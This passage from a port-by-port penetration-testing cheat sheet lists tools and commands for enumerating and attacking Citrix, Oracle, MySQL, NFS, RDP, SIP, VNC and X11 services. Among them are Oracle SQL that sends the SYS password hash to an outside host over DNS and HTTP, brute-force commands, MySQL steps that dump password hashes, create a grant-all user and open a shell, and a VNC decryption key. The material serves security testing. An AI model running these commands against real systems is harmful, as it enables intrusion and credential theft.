    - [SQLPAT](https://web.archive.org/web/20200309204648/http:/www.cqure.net/wp/?page_id=16)
      * sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack
      * sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack
    - [SQL Dict](https://web.archive.org/web/20200309204648/http:/ntsecurity.nu/toolbox/sqldict/)
    - [SQLAT](https://web.archive.org/web/20200309204648/http:/www.cqure.net/wp/?page_id=6)
    - [Hydra](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [SQLlhf](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
    - [ForceSQL](https://web.archive.org/web/20200309204648/http:/www.securityfocus.com/tools/3021)

# Citrix port 1494 open

* + Citrix Enumeration
    - Default Domain
    - Published Applications
      * [./citrix-pa-scan {IP\_address/file | - | random} [timeout]](https://web.archive.org/web/20200309204648/http:/www.cqure.net/tools/citrix_pa.zip)
      * [citrix-pa-proxy.pl IP\_to\_proxy\_to [Local\_IP]](https://web.archive.org/web/20200309204648/http:/www.cqure.net/tools/citrix_pa.zip)
  + Citrix Brute Force
    - [bforce.js](https://web.archive.org/web/20200309204648/http:/code.google.com/p/gobag/source/browse/trunk/citrix/bforce.js?r=2)
    - [connect.js](https://web.archive.org/web/20200309204648/http:/www.gnucitizen.org/static/blog/2007/10/connect.js)
    - [Citrix Brute-forcer](https://web.archive.org/web/20200309204648/http:/sh0dan.org/oldfiles/citrix-pab/)
    - Reference Material
      * [Hacking Citrix - the legitimate backdoor](https://web.archive.org/web/20200309204648/http:/www.gnucitizen.org/blog/citrix-owning-the-legitimate-backdoor/)
      * [Hacking Citrix - the forceful way](https://web.archive.org/web/20200309204648/http:/www.gnucitizen.org/blog/hacking-citrix-the-forceful-way/)

# Oracle Port 1521 Open

* + Oracle Enumeration
    - [oracsec](https://web.archive.org/web/20200309204648/http:/www.woany.co.uk/oracsec/)
    - [Repscan](https://web.archive.org/web/20200309204648/http:/www.red-database-security.com/)
    - [Sidguess](https://web.archive.org/web/20200309204648/http:/www.red-database-security.com/)
    - [Scuba](https://web.archive.org/web/20200309204648/http:/www.imperva.com/products/scuba.html)
    - [DNS/HTTP Enumeration](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/dns_http.htm)
      * SQL> SELECT UTL\_INADDR.GET\_HOST\_ADDRESS((SELECT PASSWORD FROM DBA\_USERS WHERE US ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL\_INADDR.GET\_HOST\_ADDRESS((SELECT PASSWORD FROM DBA\_USERS WHERE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
      * SQL> select utl\_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA\_USERS WHERE USERNAME='SYS')) from dual;
    - [WinSID](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/WinSID.zip)
    - [Oracle default password list](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/default_oracle_passwords.htm)
    - [TNSVer](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/)
      * tnsver host [port]
    - [TCP Scan](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/tcp_scan.htm)
    - [Oracle TNSLSNR](https://web.archive.org/web/20200309204648/http:/www.dokfleed.net/duh/modules.php?name=News&file=article&sid=35)
      * Will respond to: [ping] [version] [status] [service] [change\_password] [help] [reload] [save\_config] [set log\_directory] [set display\_mode] [set log\_file] [show] [spawn] [stop]
    - [TNSCmd](https://web.archive.org/web/20200309204648/http:/www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd)
      * perl tnscmd.pl -h ip\_address
      * perl tnscmd.pl version -h ip\_address
      * perl tnscmd.pl status -h ip\_address
      * perl tnscmd.pl -h ip\_address --cmdsize (40 - 200)
    - [LSNrCheck](https://web.archive.org/web/20200309204648/http:/www.integrigy.com/security-resources/downloads/lsnrcheck-tool/)
    - [Oracle Security Check (needs credentials)](https://web.archive.org/web/20200309204648/http:/www.ensyncsolutions.com/downloads.html)
    - [OAT](https://web.archive.org/web/20200309204648/http:/www.cqure.net/wp/)
      * sh opwg.sh -s ip\_address
      * opwg.bat -s ip\_address
      * sh oquery.sh -s ip\_address -u username -p password -d SID OR c:\oquery -s ip\_address -u username -p password -d SID
    - [OScanner](https://web.archive.org/web/20200309204648/http:/www.cqure.net/wp/)
      * sh oscanner.sh -s ip\_address
      * oscanner.exe -s ip\_address
      * sh reportviewer.sh oscanner\_saved\_file.xml
      * reportviewer.exe oscanner\_saved\_file.xml
    - [NGS Squirrel for Oracle](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/squirrelora.htm)
    - [Service Register](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/)
      * Service-register.exe ip\_address
    - [PLSQL Scanner 2008](https://web.archive.org/web/20200309204648/http:/www.red-database-security.com/software/plsqlscanner.html)
  + Oracle Brute Force
    - [OAK](https://web.archive.org/web/20200309204648/http:/www.databasesecurity.com/dbsec/OAK.zip)
      * ora-getsid hostname port sid\_dictionary\_list
      * ora-auth-alter-session host port sid username password sql
      * ora-brutesid host port start
      * ora-pwdbrute host port sid username password-file
      * ora-userenum host port sid userlistfile
      * ora-ver -e (-f -l -a) host port
    - [breakable (Targets Application Server Port)](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/)
      * breakable.exe host url [port] [v]host ip\_address of the Oracle Portal Serverurl PATH\_INFO i.e. /pls/orassoport TCP port Oracle Portal Server is serving pages fromv verbose
    - [SQLInjector (Targets Application Server Port)](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/)
      * sqlinjector -t ip\_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
      * sqlinjector.exe -t ip\_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle
    - [Check Password](https://web.archive.org/web/20200309204648/http:/www.red-database-security.com/)
    - [orabf](https://web.archive.org/web/20200309204648/http:/www.toolcrypt.org/index.html)
      * orabf [hash]:[username] [options]
    - [thc-orakel](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/thc-orakel/)
      * Cracker
      * Client
      * Crypto
    - [DBVisualisor](https://web.archive.org/web/20200309204648/http:/www.codework.com/dbvis/product.html)
      * [Sql scripts from pentest.co.uk](https://web.archive.org/web/20200309204648/http:/www.pentest.co.uk/)
      * Manual sql input of previously reported vulnerabilties
  + Oracle Reference Material
    - [Understanding SQL Injection](https://web.archive.org/web/20200309204648/http:/infys.net/papers/Sql_Injection.pdf#search=%22hardik%20shah%20sql%20injection%22)
    - [SQL Injection walkthrough](https://web.archive.org/web/20200309204648/http:/www.securiteam.com/securityreviews/5DP0N1P76E.html)
    - [SQL Injection by example](https://web.archive.org/web/20200309204648/http:/www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html)
    - [Advanced SQL Injection in Oracle databases](https://web.archive.org/web/20200309204648/http:/security-papers.globint.com.ar/oracle_security/sql_injection_in_oracle.php)
    - [Blind SQL Injection](https://web.archive.org/web/20200309204648/http:/www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html)
    - SQL Cheatsheets
      * http://ha.ckers.org/sqlinjection

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.0x000000.com/?i=14

http://pentestmonkey.net/

# NFS Port 2049 open

* + NFS Enumeration
    - showmount -e hostname/ip\_address
    - mount -t nfs ip\_address:/directory\_found\_exported /local\_mount\_point
  + NFS Brute Force
    - Interact with NFS share and try to add/delete
    - [Exploit and Confuse Unix](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/nfs.htm)
  + Examine Configuration Files
    - /etc/exports
    - /etc/lib/nfs/xtab

# Compaq/HP Insight Manager Port 2301,2381open

* + HP Enumeration
    - Authentication Method
      * Host OS Authentication
      * Default Authentication
        + [Default Passwords](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/passwordsC.htm)
    - [Wikto](https://web.archive.org/web/20200309204648/http:/www.sensepost.com/)
    - [Nstealth](https://web.archive.org/web/20200309204648/http:/www.nstalker.com/eng/products/nstealth/)
  + HP Bruteforce
    - [Hydra](https://web.archive.org/web/20200309204648/http:/www.thc.org/releases.php)
    - [Acunetix](https://web.archive.org/web/20200309204648/http:/www.acunetix.com/)
  + Examine Configuration Files
    - path.properties
    - mx.log
    - CLIClientConfig.cfg
    - database.props
    - pg\_hba.conf
    - jboss-service.xml
    - .namazurc

# MySQL port 3306 open

* + Enumeration
    - nmap -A -n -p3306 <IP Address>
    - nmap -A -n -PN --script:ALL -p3306 <IP Address>
    - telnet IP\_Address 3306
    - use test; select \* from test;
    - To check for other DB's -- show databases
  + Administration
    - [MySQL Network Scanner](https://web.archive.org/web/20200309204648/http:/www.securiteam.com/tools/6Y00L0U5PC.html)
    - [MySQL GUI Tools](https://web.archive.org/web/20200309204648/http:/dev.mysql.com/downloads/gui-tools/5.0.html)
    - mysqlshow
    - mysqlbinlog
  + Manual Checks
    - Default usernames and passwords
      * username: root password:
      * testing
        + mysql -h <Hostname> -u root
        + mysql -h <Hostname> -u root
        + mysql -h <Hostname> -u root@localhost
        + mysql -h <Hostname>
        + mysql -h <Hostname> -u ""@localhost
    - Configuration Files
      * Operating System
        + windows

config.ini

my.ini

windows\my.ini

winnt\my.ini

<InstDir>/mysql/data/

* + - * + unix

my.cnf

/etc/my.cnf

/etc/mysql/my.cnf

/var/lib/mysql/my.cnf

~/.my.cnf

/etc/my.cnf

* + - * Command History
        + ~/.mysql.history
      * Log Files
        + connections.log
        + update.log
        + common.log
      * To run many sql commands at once -- mysql -u username -p < manycommands.sql
      * MySQL data directory (Location specified in my.cnf)
        + Parent dir = data directory
        + mysql
        + test
        + information\_schema (Key information in MySQL)

Complete table list -- select table\_schema,table\_name from tables;

Exact privileges -- select grantee, table\_schema, privilege\_type FROM schema\_privileges;

File privileges -- select user,file\_priv from mysql.user where user='root';

Version -- select version();

Load a specific file -- SELECT LOAD\_FILE('FILENAME');

* + - * SSL Check
        + mysql> show variables like 'have\_openssl';

If there's no rows returned at all it means the distro itself doesn't support SSL connections and probably needs to be recompiled. If it disabled it means that the service just wasn't started with ssl and can be easily fixed.

* + - Privilege Escalation
      * Current Level of access
        + mysql>select user();
        + mysql>select user,password,create\_priv,insert\_priv,update\_priv,alter\_priv,delete\_priv,drop\_priv from user where user='OUTPUT OF select user()';
      * Access passwords
        + mysql> use mysql
        + mysql> select user,password from user;
      * Create a new user and grant him privileges
        + mysql>create user test identified by 'test';
        + mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on \*.\* to mysql identified by 'mysql' WITH GRANT OPTION;
      * Break into a shell
        + mysql> \! cat /etc/passwd
        + mysql> \! bash
  + SQL injection
    - [mysql-miner.pl](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/UNIX/audit/mysql-miner.pl)
      * mysql-miner.pl http://target/ expected\_string database
    - http://www.imperva.com/resources/adc/sql\_injection\_signatures\_evasion.html
    - http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
  + References.
    - Design Weaknesses
      * MySQL running as root
      * Exposed publicly on Internet
    - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
    - http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0

# RDesktop port 3389 open

* + Rdesktop Enumeration
    - Remote Desktop Connection
  + Rdesktop Bruteforce
    - [TSGrinder](https://web.archive.org/web/20200309204648/http:/www.hammerofgod.com/download.html)
      * tsgrinder.exe -w dictionary\_file -l leet -d workgroup -u administrator -b -n 2 IP\_Address
    - [Tscrack](https://web.archive.org/web/20200309204648/http:/web.archive.org/web/20030405132642/bogonel.mirror.spacebitch.com/)

# Sybase Port 5000+ open

* + Sybase Enumeration
    - sybase-version ip\_address from NGS
  + Sybase Vulnerability Assessment
    - [Use DBVisualiser](https://web.archive.org/web/20200309204648/http:/www.codework.com/dbvis/product.html)
      * [Sybase Security checksheet](https://web.archive.org/web/20200309204648/http:/www.windowsecurity.com/whitepaper/Guide_to_Sybase_Security.html)
        + Copy output into excel spreadsheet
        + Evaluate mis-configured parameters
      * Manual sql input of previously reported vulnerabilties
        + [Advanced SQL Injection in SQL Server](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/papers/advanced_sql_injection.pdf)
        + [More Advanced SQL Injection](https://web.archive.org/web/20200309204648/http:/www.nextgenss.com/papers/more_advanced_sql_injection.pdf)
    - [NGS Squirrel for Sybase](https://web.archive.org/web/20200309204648/http:/www.ngssoftware.com/products/database-security/ngs-squirrel-sybase.php)

# SIP Port 5060 open

* + SIP Enumeration
    - [netcat](https://web.archive.org/web/20200309204648/http:/netcat.sourceforge.net/)
      * nc IP\_Address Port
    - [sipflanker](https://web.archive.org/web/20200309204648/http:/code.google.com/p/sipflanker/)
      * python sipflanker.py 192.168.1-254
    - [Sipscan](https://web.archive.org/web/20200309204648/http:/www.hackingvoip.com/tools/sipscan.msi)
    - smap
      * smap IP\_Address/Subnet\_Mask
      * smap -o IP\_Address/Subnet\_Mask
      * smap -l IP\_Address
  + SIP Packet Crafting etc.
    - [sipsak](https://web.archive.org/web/20200309204648/http:/sipsak.org/)
      * Tracing paths: - sipsak -T -s sip:usernaem@domain
      * Options request:- sipsak -vv -s sip:username@domain
      * Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
    - [siprogue](https://web.archive.org/web/20200309204648/http:/www.hackingvoip.com/tools/sip_rogue.tar.gz)
  + SIP Vulnerability Scanning/ Brute Force
    - [tftp bruteforcer](https://web.archive.org/web/20200309204648/http:/www.hackingexposedcisco.com/tools/TFTP-bruteforce.tar.gz)
      * [Default dictionary file](https://web.archive.org/web/20200309204648/http:/www.hackingvoip.com/tools/tftp_bruteforce.txt)
      * ./tftpbrute.pl IP\_Address Dictionary\_file Maximum\_Processes
    - [VoIPaudit](https://web.archive.org/web/20200309204648/http:/www.voipshield.com/)
    - [SiVuS](https://web.archive.org/web/20200309204648/http:/www.vopsecurity.org/)
  + Examine Configuration Files
    - SIPDefault.cnf
    - asterisk.conf
    - sip.conf
    - phone.conf
    - sip\_notify.conf
    - <Ethernet address>.cfg
    - 000000000000.cfg
    - phone1.cfg
    - sip.cfg etc. etc.

# VNC port 5900^ open

* + VNC Enumeration
    - Scans
      * 5900^ for direct access.5800 for HTTP access.
  + VNC Brute Force
    - Password Attacks
      * Remote
        + Password Guess

[vncrack](https://web.archive.org/web/20200309204648/http:/www.phenoelit.de/vncrack/)

* + - * + Password Crack

[vncrack](https://web.archive.org/web/20200309204648/http:/www.phenoelit.de/vncrack/)

Packet Capture

Phosshttp://www.phenoelit.de/phoss

* + - * Local
        + Registry Locations

\HKEY\_CURRENT\_USER\Software\ORL\WinVNC3

\HKEY\_USERS\.DEFAULT\Software\ORL\WinVNC3

* + - * + Decryption Key

0x238210763578887

* + Exmine Configuration Files
    - .vnc
    - /etc/vnc/config
    - $HOME/.vnc/config
    - /etc/sysconfig/vncservers
    - /etc/vnc.conf

# X11 port 6000^ open

* + X11 Enumeration
    - List open windows
    - Authentication Method
      * Xauth
      * Xhost
  + X11 Exploitation
    - xwd
      * xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
    - Keystrokes
      * Received
      * Transmitted
    - Screenshots
    - xhost +
  + Examine Configuration Files
    - /etc/Xn.hosts
    - /usr/lib/X11/xdm
      * Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
    - /usr/lib/X11/xdm/xsession
    - /usr/lib/X11/xdm/xsession-remote
    - /usr/lib/X11/xdm/xsession.0
    - /usr/lib/X11/xdm/xdm-config
      * DisplayManager\*authorize:on

# Tor Port 9001, 9030 open

* + Tor Node Checker
    - [Ip Pages](https://web.archive.org/web/20200309204648/http:/www.ippages.com/?ip)
    - [Kewlio.net](https://web.archive.org/web/20200309204648/http:/www.as3344.net/is-tor/)
  + nmap NSE script

# Jet Direct 9100 open

* + [hijetta](https://web.archive.org/web/20200309204648/http:/www.phenoelit.de/fr/tools.html)